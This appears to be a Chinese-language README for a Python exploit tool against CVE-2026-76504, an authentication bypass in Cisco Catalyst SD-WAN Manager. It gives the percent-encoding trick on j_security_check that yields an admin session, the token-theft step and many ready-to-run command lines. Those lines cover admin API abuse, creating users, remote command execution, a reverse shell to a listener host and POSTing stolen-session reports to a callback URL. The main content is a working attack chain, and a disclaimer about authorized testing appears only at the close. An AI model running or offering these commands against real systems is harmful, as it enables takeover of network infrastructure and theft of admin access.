针对 CVE-2026-76504 的 Python 漏洞利用程序,该漏洞是 Cisco Catalyst SD-WAN Manager 通过百分号编码的 j_security_check 实现的认证绕过,包含令牌窃取、API 调用和反向 shell。
CVE-2026-76504 是 Cisco Catalyst SD-WAN Manager (vManage) 中的一个严重认证绕过漏洞(CVSS 9.8,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,CWE-177)。该漏洞已被列入 CISA KEV 目录,并自 2026 年 9 月起在野遭到积极利用。目前没有变通方案;只有打补丁才能消除该漏洞。
根本原因是认证中间件与请求路由器之间的 URI 规范化不一致。对受保护的 j_security_check 登录路径中的单个字符进行百分号编码,会使认证规则看到 不同 的(干净)URI,而路由器解析出 相同 的(登录)URI——因此服务器会在 没有任何有效凭据 的情况下签发有效的管理员会话。
安全公告: cisco-sa-sdwan-webauth-xr8beuuU
| 分支 | 修复版本 |
|---|---|
| 20.9.x | 20.9.10.1 |
| 20.12.x | 20.12.8.2 |
| 20.15.x | 20.15.6.1 |
| 20.18.x | 20.18.4.1 |
| 26.1.x | 26.1.2.1 |
| 26.2 | 26.2.1 |
step1 POST /%6a_security_check (%6a = percent-encoded 'j')
-> the auth rule is skipped, the request is mapped to a
'viptela-reserved-*' service account and a valid JSESSIONID
is returned.
step2 GET /dataservice/client/token (with the JSESSIONID cookie)
-> 128-char uppercase hex admin API token.
step3 authenticated admin API calls / command execution / reverse shell.
Follow-up requests send the session cookie plus the token in the
X-XSRF-TOKEN header (documented vManage API convention).
# Verify the target is vulnerable
python3 exploit.py -t https://10.0.0.1 --check
# Full chain, human-readable output
python3 exploit.py -t https://10.0.0.1 --recon
# Machine-readable JSON report
python3 exploit.py -t https://10.0.0.1 --json
# Authenticated follow-up API call (repeatable)
python3 exploit.py -t https://10.0.0.1 \
--api 'GET /dataservice/user/user'
# Execute a management command (repeatable)
python3 exploit.py -t https://10.0.0.1 \
--cmd 'show version'
# Reverse shell with a local interactive listener
python3 exploit.py -t https://10.0.0.1 \
--revshell --rs-host 10.0.0.2 --rs-port 4444 --listen
# Offline self-test against the built-in mock vManage
python3 exploit.py --selftest
| 选项 | 描述 |
|---|---|
-t, --target | 主机或 scheme://host[:port](默认端口 443) |
--port | 覆盖端口 |
--http | 强制使用纯 HTTP |
--insecure | 跳过 TLS 证书验证 |
--proxy | 正向代理 http://host:port |
--timeout | 每个请求的超时时间(秒,默认 10) |
-u, --user | 表单 j_username 的值(默认 admin;认证被绕过) |
-p, --pass | 表单 j_password 的值(默认 admin;认证被绕过) |
--enc-char | 对 j_security_check 中要百分号编码的字符(默认 j) |
--enc-style | lower(默认)、upper 或 double 编码 |
--token-url | 管理员令牌端点(默认 /dataservice/client/token) |
--skip-token | 在 step1 后停止(仅会话) |
--check | 仅验证:step1、报告、退出 |
--api SPEC | 已认证调用:`'METHOD PATH [json |
--cmd CMD | 在窃取的会话下执行管理命令(可重复) |
--cmd-url | 命令端点(默认 /dataservice/command) |
--cmd-field | 携带命令的 JSON 载荷键(默认 command) |
--revshell | 构建并发出反向 shell 命令 |
--rs-impl | bash(默认)、nc、python3、perl |
--rs-host/--rs-port | 反向 shell 回调主机/端口 |
--listen | 启动本地监听器并以交互方式中继 shell |
--recon | 使用窃取的会话探测候选端点 |
--callback URL | 将 JSON 报告 POST 到 URL |
--dump DIR | 将响应产物保存到目录 |
--repeat N | 将攻击链重复 N 次 |
--reqid | 发送 X-Request-Id: <uuid4>(IOC 保真) |
--ua | User-Agent(默认 Mozilla/5.0) |
-v, --verbose | 转储原始请求/响应 |
--json | 仅输出机器可读报告 |
--selftest | 通过内置 mock 进行离线自测 |
| 代码 | 含义 |
|---|---|
| 0 | 绕过已确认 |
| 1 | 失败 / 验证错误 |
| 2 | 目标不可达 |
# Verify only (lowercase encoding)
python3 exploit.py -t 10.0.0.1 --port 8443 --check
# Uppercase / double encoding variants
python3 exploit.py -t https://10.0.0.1 --enc-style upper --check
python3 exploit.py -t https://10.0.0.1 --enc-style double --check
# Encode a different character of the path
python3 exploit.py -t https://10.0.0.1 --enc-char s --check
# Enumerate users via the stolen session
python3 exploit.py -t https://10.0.0.1 \
--api 'GET /dataservice/user/user'
# POST JSON payload
python3 exploit.py -t https://10.0.0.1 \
--api 'POST /dataservice/user {"userName":"x","password":"y"}'
# POST a payload from a file
python3 exploit.py -t https://10.0.0.1 \
--api 'POST /dataservice/setting @payload.json'
# Save artifacts and POST the report to a callback
python3 exploit.py -t https://10.0.0.1 \
--dump ./out --callback http://10.0.0.2:8000/report --json
# Through a forward proxy, ignoring TLS validation
python3 exploit.py -t https://10.0.0.1 \
--proxy http://127.0.0.1:8080 --insecure --check
默认凭据(admin/admin)仅用作表单字段值;认证规则本身会被编码路径绕过,因此在存在漏洞的目标上,凭据值无需正确。
--check 仅执行 step1,并报告是否下发了会话 cookie。它不会发起任何进一步的已认证调用。
该工具是一个单文件、无依赖的文件,仅用于经授权的安全测试与研究。请仅对你有权测试的系统使用它。